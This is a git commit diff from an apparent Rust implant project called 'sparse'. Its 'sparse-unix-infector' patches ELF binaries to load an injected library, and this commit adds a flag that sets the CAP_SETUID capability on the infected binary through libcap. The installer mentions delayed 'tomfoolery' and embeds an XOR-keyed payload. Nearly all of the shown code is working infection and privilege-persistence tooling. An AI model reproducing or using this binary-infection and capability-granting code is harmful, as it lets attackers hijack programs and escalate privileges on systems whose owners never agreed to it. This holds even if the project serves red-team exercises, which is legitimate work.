feat: added the ability to set CAP_SETUID

This commit is contained in:
Andrew Rioux 2025-02-09 01:11:23 -05:00
parent 8d47ac128d
commit becd0c2f56
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
6 changed files with 66 additions and 118 deletions

3
Cargo.lock generated
View File

@ -3258,6 +3258,7 @@ dependencies = [
name = "sparse-unix-infector"
version = "2.0.0"
dependencies = [
"cfg-if",
"errno",
"libc",
"sparse-actions",
@ -3267,7 +3268,9 @@ dependencies = [
name = "sparse-unix-installer"
version = "2.0.0"
dependencies = [
"errno",
"hex",
"libc",
"rand 0.9.0",
"sparse-actions",
"sparse-unix-infector",

View File

@ -7,3 +7,4 @@ version.workspace = true
libc = "0.2.169"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
errno = "0.3"
cfg-if = "1.0.0"

View File

@ -1,10 +1,11 @@
use std::{
io::{prelude::*, Error, SeekFrom},
os::fd::AsRawFd,
path::Path,
slice,
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_actions::payload_types::XOR_KEY;
mod elf_types;
use elf_types::*;
@ -22,6 +23,7 @@ pub fn infect_elf_binary<BP, LP>(
binary_path: BP,
target_library_path: LP,
mut sparse_parameters: Vec<u8>,
#[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
BP: AsRef<Path>,
@ -71,99 +73,20 @@ where
};
if let ElfIsa::Amd64 = isa {
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
#[cfg(target_os = "linux")]
{
use libc::c_int;
#[repr(C)]
struct CapT {
__private: [u8; 0],
}
type CapValue = c_int;
// cap_flag_t
const CAP_EFFECTIVE: u8 = 0;
const CAP_PERMITTED: u8 = 1;
const CAP_INHERITABLE: u8 = 2;
// cap_flag_value_t
const CAP_SET: u8 = 0;
extern "C" {
fn cap_free(cap: *mut CapT) -> c_int;
fn cap_get_file(filename: *const i8) -> *mut CapT;
fn cap_set_flag(
cap: *mut CapT,
cap_flag: u8,
count: c_int,
cap_flag_value: *const CapValue,
cap_flag_value_t: u8,
) -> c_int;
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
}
// CAP_SETUID
let cap_list = [7];
unsafe {
let path = std::ffi::CString::new(
binary_path
.as_ref()
.to_str()
.expect("could not convert binary path to string"),
)
.expect("could not convert binary path to string");
let current_caps = cap_get_file(path.as_ptr());
println!("Result of getting caps: {}", errno::errno());
println!(
"Result of setting effective caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_EFFECTIVE,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of setting permitted caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_PERMITTED,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of setting inheritable caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_INHERITABLE,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of saving flags: {}, {}",
cap_set_file(path.as_ptr(), current_caps),
errno::errno()
);
cap_free(current_caps);
cfg_if::cfg_if! {
if #[cfg(target_os = "linux")] {
infect_64bit_elf_binary(
target_library_path,
binary,
binary_data,
add_setuid_capability,
)?;
} else {
infect_64bit_elf_binary(
target_library_path,
binary,
binary_data
)?;
}
}
@ -178,10 +101,11 @@ fn infect_64bit_elf_binary<LP, F>(
library_path: LP,
mut binary: F,
mut binary_data: Vec<u8>,
#[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
LP: AsRef<Path>,
F: Read + Write + Seek,
F: Read + Write + Seek + AsRawFd,
{
let Some(library_name) = library_path.as_ref().file_name() else {
eprintln!("Library name does not contain a valid file path!");
@ -359,5 +283,30 @@ where
binary.seek(SeekFrom::Start(0))?;
binary.write(&binary_data)?;
#[cfg(target_os = "linux")]
if add_setuid_capability {
use libc::c_int;
type CapT = libc::c_void;
unsafe extern "C" {
fn cap_free(cap: *mut CapT) -> c_int;
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
}
// CAP_SETUID is 7
// CAP_NET_RAW is 13
// CAP_SETFCAP is 31
// CAP_FOWNER is 3
unsafe {
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
cap_set_fd(binary.as_raw_fd(), current_caps);
cap_free(current_caps);
}
}
Ok(())
}

View File

@ -4,7 +4,9 @@ edition = "2024"
version.workspace = true
[dependencies]
errno = "0.3.10"
hex = "0.4.3"
libc = "0.2.169"
rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }

View File

@ -33,6 +33,11 @@ struct Options {
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
#[structopt(long, default_value = "0")]
delay_seconds_maximum: u8,
/// Whether or not to set the SETUID capability on a binary
#[cfg(target_os = "linux")]
#[structopt(long)]
set_setuid_capability: bool,
}
fn main() -> Result<(), Error> {
@ -78,7 +83,16 @@ fn main() -> Result<(), Error> {
parameters.delay_seconds_min = opts.delay_seconds_minimum;
parameters.delay_seconds_max = opts.delay_seconds_minimum;
#[cfg(not(target_os = "linux"))]
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
#[cfg(target_os = "linux")]
infect_elf_binary(
opts.binary,
opts.library_path,
parameters_buffer,
opts.set_setuid_capability,
)?;
Ok(())
}

View File

@ -1,34 +1,13 @@
use std::{
io::{prelude::*, Error, SeekFrom},
io::{prelude::*, Error},
path::Path,
slice,
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_actions::payload_types::XOR_KEY;
mod pe_types;
use pe_types::*;
macro_rules! dbgX {
() => {
eprintln!("[{}:{}:{}]", file!(), line!(), column!())
};
($val:expr $(,)?) => {
// Use of `match` here is intentional because it affects the lifetimes
// of temporaries - https://stackoverflow.com/a/48732525/1063961
match $val {
tmp => {
eprintln!("[{}:{}:{}] {} = {:X?}",
file!(), line!(), column!(), stringify!($val), &tmp);
tmp
}
}
};
($($val:expr),+ $(,)?) => {
($(dbgX!($val)),+,)
};
}
#[cfg(not(debug_assertions))]
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
#[cfg(debug_assertions)]